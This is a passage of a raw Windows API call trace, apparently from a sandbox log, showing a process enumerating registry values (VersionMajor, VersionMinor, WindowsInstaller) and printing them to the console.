GetFileType (hFile=0x50) returned 0x1 [0148.409] lstrlenW (lpString=" ") returned 4 [0148.409] GetConsoleOutputCP () returned 0x1b5 [0148.409] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.409] GetConsoleOutputCP () returned 0x1b5 [0148.409] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.409] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.409] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.409] lstrlenW (lpString="VersionMajor") returned 12 [0148.409] __iob_func () returned 0x7fefd702a80 [0148.409] _fileno (_File=0x7fefd702ab0) returned 1 [0148.409] _errno () returned 0xc4bb0 [0148.410] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.410] _errno () returned 0xc4bb0 [0148.410] GetFileType (hFile=0x50) returned 0x1 [0148.410] lstrlenW (lpString="VersionMajor") returned 12 [0148.410] GetConsoleOutputCP () returned 0x1b5 [0148.410] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.410] GetConsoleOutputCP () returned 0x1b5 [0148.410] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0148.410] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0148.410] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.410] __iob_func () returned 0x7fefd702a80 [0148.410] _fileno (_File=0x7fefd702ab0) returned 1 [0148.410] _errno () returned 0xc4bb0 [0148.410] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.410] _errno () returned 0xc4bb0 [0148.410] GetFileType (hFile=0x50) returned 0x1 [0148.410] lstrlenW (lpString=" ") returned 4 [0148.410] GetConsoleOutputCP () returned 0x1b5 [0148.410] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.411] GetConsoleOutputCP () returned 0x1b5 [0148.411] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.411] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.411] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.411] __iob_func () returned 0x7fefd702a80 [0148.411] _fileno (_File=0x7fefd702ab0) returned 1 [0148.411] _errno () returned 0xc4bb0 [0148.411] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.411] _errno () returned 0xc4bb0 [0148.411] GetFileType (hFile=0x50) returned 0x1 [0148.411] lstrlenW (lpString="REG_DWORD") returned 9 [0148.411] GetConsoleOutputCP () returned 0x1b5 [0148.411] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.411] GetConsoleOutputCP () returned 0x1b5 [0148.411] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.411] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.411] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.411] __iob_func () returned 0x7fefd702a80 [0148.411] _fileno (_File=0x7fefd702ab0) returned 1 [0148.411] _errno () returned 0xc4bb0 [0148.411] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.411] _errno () returned 0xc4bb0 [0148.411] GetFileType (hFile=0x50) returned 0x1 [0148.411] lstrlenW (lpString=" ") returned 4 [0148.412] GetConsoleOutputCP () returned 0x1b5 [0148.412] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.412] GetConsoleOutputCP () returned 0x1b5 [0148.412] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.412] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.412] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.412] __iob_func () returned 0x7fefd702a80 [0148.412] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.412] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x8") returned 3 [0148.412] _fileno (_File=0x7fefd702ab0) returned 1 [0148.412] _errno () returned 0xc4bb0 [0148.412] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.412] _errno () returned 0xc4bb0 [0148.412] GetFileType (hFile=0x50) returned 0x1 [0148.412] lstrlenW (lpString="0x8") returned 3 [0148.412] GetConsoleOutputCP () returned 0x1b5 [0148.412] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x8", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.412] GetConsoleOutputCP () returned 0x1b5 [0148.412] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x8", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x8", lpUsedDefaultChar=0x0) returned 3 [0148.412] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.412] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.413] __iob_func () returned 0x7fefd702a80 [0148.413] _fileno (_File=0x7fefd702ab0) returned 1 [0148.413] _errno () returned 0xc4bb0 [0148.413] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.413] _errno () returned 0xc4bb0 [0148.413] GetFileType (hFile=0x50) returned 0x1 [0148.413] lstrlenW (lpString="\n") returned 1 [0148.413] GetConsoleOutputCP () returned 0x1b5 [0148.413] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.413] GetConsoleOutputCP () returned 0x1b5 [0148.413] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.413] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.413] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.413] GetProcessHeap () returned 0x2e0000 [0148.413] GetProcessHeap () returned 0x2e0000 [0148.413] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.413] GetProcessHeap () returned 0x2e0000 [0148.413] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.413] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.413] RegEnumValueW (in: hKey=0x5c, dwIndex=0x14, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.413] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.413] GetProcessHeap () returned 0x2e0000 [0148.413] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.414] GetProcessHeap () returned 0x2e0000 [0148.414] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.414] GetProcessHeap () returned 0x2e0000 [0148.414] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.414] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.414] __iob_func () returned 0x7fefd702a80 [0148.414] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.414] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.414] _fileno (_File=0x7fefd702ab0) returned 1 [0148.414] _errno () returned 0xc4bb0 [0148.414] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.414] _errno () returned 0xc4bb0 [0148.414] GetFileType (hFile=0x50) returned 0x1 [0148.414] lstrlenW (lpString=" ") returned 4 [0148.414] GetConsoleOutputCP () returned 0x1b5 [0148.414] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.414] GetConsoleOutputCP () returned 0x1b5 [0148.414] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.414] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.414] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.414] lstrlenW (lpString="VersionMinor") returned 12 [0148.414] __iob_func () returned 0x7fefd702a80 [0148.414] _fileno (_File=0x7fefd702ab0) returned 1 [0148.414] _errno () returned 0xc4bb0 [0148.414] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.414] _errno () returned 0xc4bb0 [0148.414] GetFileType (hFile=0x50) returned 0x1 [0148.414] lstrlenW (lpString="VersionMinor") returned 12 [0148.415] GetConsoleOutputCP () returned 0x1b5 [0148.415] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.415] GetConsoleOutputCP () returned 0x1b5 [0148.415] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0148.415] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0148.415] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.415] __iob_func () returned 0x7fefd702a80 [0148.415] _fileno (_File=0x7fefd702ab0) returned 1 [0148.415] _errno () returned 0xc4bb0 [0148.415] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.415] _errno () returned 0xc4bb0 [0148.415] GetFileType (hFile=0x50) returned 0x1 [0148.415] lstrlenW (lpString=" ") returned 4 [0148.415] GetConsoleOutputCP () returned 0x1b5 [0148.415] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.415] GetConsoleOutputCP () returned 0x1b5 [0148.415] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.415] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.415] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.416] __iob_func () returned 0x7fefd702a80 [0148.416] _fileno (_File=0x7fefd702ab0) returned 1 [0148.416] _errno () returned 0xc4bb0 [0148.416] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.416] _errno () returned 0xc4bb0 [0148.416] GetFileType (hFile=0x50) returned 0x1 [0148.416] lstrlenW (lpString="REG_DWORD") returned 9 [0148.416] GetConsoleOutputCP () returned 0x1b5 [0148.416] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.416] GetConsoleOutputCP () returned 0x1b5 [0148.416] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.416] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.416] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.416] __iob_func () returned 0x7fefd702a80 [0148.416] _fileno (_File=0x7fefd702ab0) returned 1 [0148.416] _errno () returned 0xc4bb0 [0148.416] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.416] _errno () returned 0xc4bb0 [0148.416] GetFileType (hFile=0x50) returned 0x1 [0148.416] lstrlenW (lpString=" ") returned 4 [0148.416] GetConsoleOutputCP () returned 0x1b5 [0148.416] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.416] GetConsoleOutputCP () returned 0x1b5 [0148.417] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.417] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.417] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.417] __iob_func () returned 0x7fefd702a80 [0148.417] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.417] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x0") returned 3 [0148.417] _fileno (_File=0x7fefd702ab0) returned 1 [0148.417] _errno () returned 0xc4bb0 [0148.417] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.417] _errno () returned 0xc4bb0 [0148.417] GetFileType (hFile=0x50) returned 0x1 [0148.417] lstrlenW (lpString="0x0") returned 3 [0148.417] GetConsoleOutputCP () returned 0x1b5 [0148.417] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.417] GetConsoleOutputCP () returned 0x1b5 [0148.417] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0148.417] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.417] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.417] __iob_func () returned 0x7fefd702a80 [0148.417] _fileno (_File=0x7fefd702ab0) returned 1 [0148.417] _errno () returned 0xc4bb0 [0148.417] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.417] _errno () returned 0xc4bb0 [0148.417] GetFileType (hFile=0x50) returned 0x1 [0148.417] lstrlenW (lpString="\n") returned 1 [0148.418] GetConsoleOutputCP () returned 0x1b5 [0148.418] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.418] GetConsoleOutputCP () returned 0x1b5 [0148.418] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.418] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.418] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.418] GetProcessHeap () returned 0x2e0000 [0148.418] GetProcessHeap () returned 0x2e0000 [0148.418] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.418] GetProcessHeap () returned 0x2e0000 [0148.418] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.418] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.418] RegEnumValueW (in: hKey=0x5c, dwIndex=0x15, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="WindowsInstaller", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.418] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.418] GetProcessHeap () returned 0x2e0000 [0148.418] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.418] GetProcessHeap () returned 0x2e0000 [0148.418] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.418] GetProcessHeap () returned 0x2e0000 [0148.418] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.418] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0148.418] __iob_func () returned 0x7fefd702a80 [0148.418] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.418] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.418] _fileno (_File=0x7fefd702ab0) returned 1 [0148.418] _errno () returned 0xc4bb0 [0148.419] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.419] _errno () returned 0xc4bb0 [0148.419] GetFileType (hFile=0x50) returned 0x1 [0148.419] lstrlenW (lpString=" ") returned 4 [0148.419] GetConsoleOutputCP () returned 0x1b5 [0148.419] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.419] GetConsoleOutputCP () returned 0x1b5 [0148.419] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.419] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.419] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.419] lstrlenW (lpString="WindowsInstaller") returned 16 [0148.419] __iob_func () returned 0x7fefd702a80 [0148.419] _fileno (_File=0x7fefd702ab0) returned 1 [0148.419] _errno () returned 0xc4bb0 [0148.419] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.419] _errno () returned 0xc4bb0 [0148.419] GetFileType (hFile=0x50) returned 0x1 [0148.419] lstrlenW (lpString="WindowsInstaller") returned 16 [0148.419] GetConsoleOutputCP () returned 0x1b5 [0148.419] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0148.419] GetConsoleOutputCP () returned 0x1b5 [0148.419] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsInstaller", lpUsedDefaultChar=0x0) returned 16 [0148.420] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0148.420] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.420] __iob_func () returned 0x7fefd702a80 [0148.420] _fileno (_File=0x7fefd702ab0) returned 1 [0148.420] _errno () returned 0xc4bb0 [0148.420] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.420] _errno () returned 0xc4bb0 [0148.420] GetFileType (hFile=0x50) returned 0x1 [0148.420] lstrlenW (lpString=" ") returned 4 [0148.420] GetConsoleOutputCP () returned 0x1b5 [0148.420] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.420] GetConsoleOutputCP () returned 0x1b5 [0148.420] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.420] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.420] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.420] __iob_func () returned 0x7fefd702a80 [0148.420] _fileno (_File=0x7fefd702ab0) returned 1 [0148.420] _errno () returned 0xc4bb0 [0148.420] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.420] _errno () returned 0xc4bb0 [0148.420] GetFileType (hFile=0x50) returned 0x1 [0148.420] lstrlenW (lpString="REG_DWORD") returned 9 [0148.420] GetConsoleOutputCP () returned 0x1b5 [0148.420] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.421] GetConsoleOutputCP () returned 0x1b5 [0148.421] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.421] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.421] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.421] __iob_func () returned 0x7fefd702a80 [0148.421] _fileno (_File=0x7fefd702ab0) returned 1 [0148.421] _errno () returned 0xc4bb0 [0148.421] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.421] _errno () returned 0xc4bb0 [0148.421] GetFileType (hFile=0x50) returned 0x1 [0148.421] lstrlenW (lpString=" ") returned 4 [0148.421] GetConsoleOutputCP () returned 0x1b5 [0148.421] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.421] GetConsoleOutputCP () returned 0x1b5 [0148.421] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.421] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.421] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.421] __iob_func () returned 0x7fefd702a80 [0148.421] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.421] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0148.421] _fileno 